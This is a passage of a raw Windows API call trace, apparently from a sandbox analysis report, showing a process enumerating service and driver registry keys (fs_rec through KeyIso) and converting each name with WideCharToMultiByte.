WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fs_rec", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fs_rec", lpUsedDefaultChar=0x0) returned 6 [0193.842] RegEnumKeyW (in: hKey=0x140, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0193.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.842] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fvevol", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fvevol", lpUsedDefaultChar=0x0) returned 6 [0193.891] RegEnumKeyW (in: hKey=0x140, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0193.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gagp30kx", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gagp30kx", lpUsedDefaultChar=0x0) returned 8 [0193.891] RegEnumKeyW (in: hKey=0x140, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0193.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0193.891] RegEnumKeyW (in: hKey=0x140, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0193.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.891] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0193.891] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0193.892] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hcw85cir", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hcw85cir", lpUsedDefaultChar=0x0) returned 8 [0193.892] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudaddservice", cchWideChar=15, lpMultiByteStr=0x21f18e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudaddservice", lpUsedDefaultChar=0x0) returned 15 [0193.892] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hdaudbus", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hdaudbus", lpUsedDefaultChar=0x0) returned 8 [0193.892] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbatt", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbatt", lpUsedDefaultChar=0x0) returned 7 [0193.892] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidbth", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidbth", lpUsedDefaultChar=0x0) returned 6 [0193.893] RegEnumKeyW (in: hKey=0x140, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidir", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidir", lpUsedDefaultChar=0x0) returned 5 [0193.893] RegEnumKeyW (in: hKey=0x140, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x21f1c88, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0193.893] RegEnumKeyW (in: hKey=0x140, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidusb", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidusb", lpUsedDefaultChar=0x0) returned 6 [0193.893] RegEnumKeyW (in: hKey=0x140, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0193.893] RegEnumKeyW (in: hKey=0x140, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0193.893] RegEnumKeyW (in: hKey=0x140, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.893] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x21f1c88, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0193.893] RegEnumKeyW (in: hKey=0x140, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hpsamd", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hpsamd", lpUsedDefaultChar=0x0) returned 6 [0193.894] RegEnumKeyW (in: hKey=0x140, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http", cchWideChar=4, lpMultiByteStr=0x21f1c88, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http", lpUsedDefaultChar=0x0) returned 4 [0193.894] RegEnumKeyW (in: hKey=0x140, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hwpolicy", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hwpolicy", lpUsedDefaultChar=0x0) returned 8 [0193.894] RegEnumKeyW (in: hKey=0x140, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="i8042prt", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="i8042prt", lpUsedDefaultChar=0x0) returned 8 [0193.894] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iastorv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iastorv", lpUsedDefaultChar=0x0) returned 7 [0193.894] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0193.894] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0193.894] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iirsp", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iirsp", lpUsedDefaultChar=0x0) returned 5 [0193.895] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0193.895] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inetaccs", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inetaccs", lpUsedDefaultChar=0x0) returned 8 [0193.895] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelide", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelide", lpUsedDefaultChar=0x0) returned 8 [0193.895] RegEnumKeyW (in: hKey=0x140, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intelppm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="intelppm", lpUsedDefaultChar=0x0) returned 8 [0193.895] RegEnumKeyW (in: hKey=0x140, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x21f1c88, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0193.895] RegEnumKeyW (in: hKey=0x140, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipfilterdriver", cchWideChar=14, lpMultiByteStr=0x21f18e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipfilterdriver", lpUsedDefaultChar=0x0) returned 14 [0193.896] RegEnumKeyW (in: hKey=0x140, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0193.896] RegEnumKeyW (in: hKey=0x140, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipmidrv", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipmidrv", lpUsedDefaultChar=0x0) returned 7 [0193.896] RegEnumKeyW (in: hKey=0x140, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipnat", cchWideChar=5, lpMultiByteStr=0x21f1c88, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipnat", lpUsedDefaultChar=0x0) returned 5 [0193.896] RegEnumKeyW (in: hKey=0x140, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="irenum", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="irenum", lpUsedDefaultChar=0x0) returned 6 [0193.896] RegEnumKeyW (in: hKey=0x140, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="isapnp", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="isapnp", lpUsedDefaultChar=0x0) returned 6 [0193.896] RegEnumKeyW (in: hKey=0x140, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iscsiprt", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iscsiprt", lpUsedDefaultChar=0x0) returned 8 [0193.897] RegEnumKeyW (in: hKey=0x140, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdclass", cchWideChar=8, lpMultiByteStr=0x21f1c88, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdclass", lpUsedDefaultChar=0x0) returned 8 [0193.897] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="kbdhid", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kbdhid", lpUsedDefaultChar=0x0) returned 6 [0193.897] RegEnumKeyW (in: hKey=0x140, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0193.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x21f1c88, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 